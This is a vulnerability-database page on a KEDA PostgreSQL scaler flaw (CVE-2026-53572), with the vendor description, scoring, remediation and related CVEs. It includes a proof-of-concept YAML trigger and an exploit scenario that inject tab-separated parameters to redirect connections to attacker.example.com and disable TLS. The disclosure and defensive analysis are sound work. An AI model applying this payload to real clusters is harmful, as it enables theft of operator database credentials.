Skip to main content

KEDA EUVDEUVD-2026-64131

| CVE-2026-53572 MEDIUM
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-07-07 https://github.com/kedacore/keda GHSA-6w3m-4hhp-775q
5.9
CVSS 3.1 · Vendor: https://github.com/kedacore/keda
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain tenant Kubernetes RBAC rights to create ScaledObject
  2. Delivery
    Craft postgresql trigger with tab-embedded host field
  3. Exploit
    Submit resource to KEDA API server
  4. Install
    escapePostgreConnectionParameter returns payload unmodified (no space detected)
  5. C2
    pgx parses injected whitespace-delimited tokens as override connection parameters
  6. Execute
    PostgreSQL connection redirected to attacker host with sslmode=disable
  7. Impact
    Capture operator-supplied plaintext credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires Kubernetes RBAC permission to create or modify ScaledObject or TriggerAuthentication resources referencing the postgresql trigger type within a KEDA-managed namespace - this is the low-privilege (PR:L) requirement in the CVSS vector. The target deployment must use KEDA's PostgreSQL scaler with at least one tenant-controllable connection field (host, port, userName, dbName, or sslmode); deployments where operators fully control all PostgreSQL connection parameters without any tenant input are not affected. Exploitation is further limited to multi-tenant clusters; single-tenant KEDA deployments operated entirely by the cluster owner carry no meaningful exposure. The password field is appended last by buildConnArray, which constrains but does not eliminate credential theft - an injected host= directive still redirects the connection before the password keyword is processed. No network-level prerequisites beyond standard Kubernetes API access are required once RBAC conditions are met.

Impact

The provided CVSS 5.9 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N) assigns High attack complexity, likely reflecting the non-obvious whitespace technique; however, the injection method is mechanically trivial for any informed tenant - simply embedding a tab character in a hostname string - which suggests real-world AC is closer to Low once the technique is known. PR:L accurately captures that Kubernetes RBAC permission to create ScaledObjects or TriggerAuthentications is required, limiting exposure to multi-tenant clusters where tenants hold such rights. EPSS data was not provided in the source intelligence. A working proof-of-concept is publicly available in the GitHub advisory, substantially elevating exploitation likelihood beyond what the base score alone implies. No CISA KEV listing was present, indicating no confirmed widespread exploitation at time of analysis. The C:H impact is well-supported: operator-supplied database passwords sent over a redirected, plaintext connection represent a high-value credential theft target. The 'RCE' tag present in source data is not supported by the vulnerability description - actual impact is connection parameter injection enabling MitM credential theft and TLS downgrade, not arbitrary code execution on the KEDA host. This discrepancy should be verified with the reporter.

Exploit ScenarioDerived

A tenant with Kubernetes RBAC permission to create ScaledObjects submits a postgresql trigger whose host field contains an embedded tab character: legit.db.svc\tsslmode=disable\thost=attacker.example.com. KEDA's escaping function returns the value unchanged because no literal space is detected, and pgx subsequently parses the resulting connection string as three separate tokens, overriding the cluster operator's intended TLS configuration and legitimate target host. The database connection is established to the attacker's host in plaintext, where the operator-supplied password keyword - appended last by buildConnArray - is captured in transit.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 08, 2026

Connection string injection in KEDA's PostgreSQL scaler allows low-privileged tenants to inject arbitrary libpq connection parameters by embedding tab, newline, or other non-space whitespace characters into ScaledObject or TriggerAuthentication configuration fields. The escapePostgreConnectionParameter function in pkg/scalers/postgresql_scaler.go only detects literal spaces before quoting values, leaving all other libpq token delimiters unescaped; successful exploitation forces TLS downgrade (sslmode=disable) or redirects database connections to attacker-controlled hosts to steal operator-supplied credentials. A working proof-of-concept YAML payload is included in GitHub advisory GHSA-6w3m-4hhp-775q; no CISA KEV listing was present at time of analysis.

RemediationAI

No vendor-released patch version was identified in the available advisory data at time of analysis; the KEDA releases page and GitHub advisory at https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q should be monitored for a confirmed fix version. The upstream-suggested fix requires modifying escapePostgreConnectionParameter to detect and reject or escape all ASCII whitespace (tab, newline, carriage return, form feed, vertical tab, and space) plus backslash characters, or preferably replacing key=value string construction with URI-form connection strings (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding, which eliminates the delimiter injection surface entirely. As an immediate compensating control, restrict Kubernetes RBAC so that only cluster operators - not tenants - can create or modify ScaledObject and TriggerAuthentication resources that reference the postgresql trigger type; this removes the PR:L attack path at the cost of reduced tenant self-service capability. Alternatively, validate each connection field against strict allowlist patterns (hostname regex, numeric-only port, alphanumeric database and username identifiers) before interpolation into the connection string.

Affected VersionsENISA

keda < 2.20.0

Affected Packages

go github.com/kedacore/keda no fix
go github.com/kedacore/keda/v2 fix: 2.20.0
euvd keda fix: 2.20.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

KEDA (Kubernetes Event-Driven Autoscaling) builds PostgreSQL connection strings by concatenating key=value pairs in buildConnArray, relying on escapePostgreConnectionParameter to sanitize tenant-supplied fields (host, port, userName, dbName, sslmode). The function only quotes and escapes values when a literal space character is detected, but the underlying pgx/libpq parser treats tab (\t), newline (\n), carriage return (\r), form feed (\f), and vertical tab (\v) as equivalent token delimiters per the libpq connection string specification. A crafted value such as legit.db.svc\tsslmode=disable\thost=attacker.example.com contains no space, passes through the function entirely unmodified, and is then split by pgx into three distinct key=value tokens that override intended connection parameters. The affected package is pkg:go/github.com_kedacore_keda_v2, with vulnerable logic at lines 155-164 and 250-257. CWE-74 (Injection) describes this root cause class: insufficient normalization of all valid delimiter characters in an injection context before interpolating untrusted data into a structured format.

Know when PostgreSQL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/kedacore/keda) PRIMARY 5.9 MEDIUM
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
vuln.today AI 7.1 HIGH

Lowered AC to L because tab injection into a hostname field is trivially simple for any tenant once the technique is known; PR:L retained as ScaledObject creation rights are required.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/kedacore/keda).

CVSS VectorVendor: https://github.com/kedacore/keda

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:

go
func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, " ") {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, "'", "\\'")
    return fmt.Sprintf("'%s'", str)
}

The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code

pkg/scalers/postgresql_scaler.go, lines 155-164 and 250-257.

Impact

Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:

  • Force sslmode=disable on a connection that the cluster owner intended to be TLS-only - silently downgrading to plaintext and enabling on-path MitM.
  • Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword.
  • Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.

Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration - injected host= still redirects the subsequent password= keyword's target.

Proof of concept

yaml
triggers:
- type: postgresql
  metadata:
    host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
    port: "5432"
    userName: "keda"
    dbName: "metrics"
    sslmode: "require"
    query: "SELECT 1"

After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.

Suggested fix

  • Escape / reject any ASCII whitespace (\t, \n, \r, \f, \v, space) and backslash.
  • Prefer the URI form (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding.
  • Validate each field against an allow-list pattern before use.

Resources

  • pkg/scalers/postgresql_scaler.go
  • libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

Threat Intelligence Overview

EPSS Score
0.3%
Top 75% exploitable
Prevalence
Medium
widely adopted Kubernetes autoscaling framework, not universally deployed
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2026-9586 CRITICAL POC
9.3 Jul 17

Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy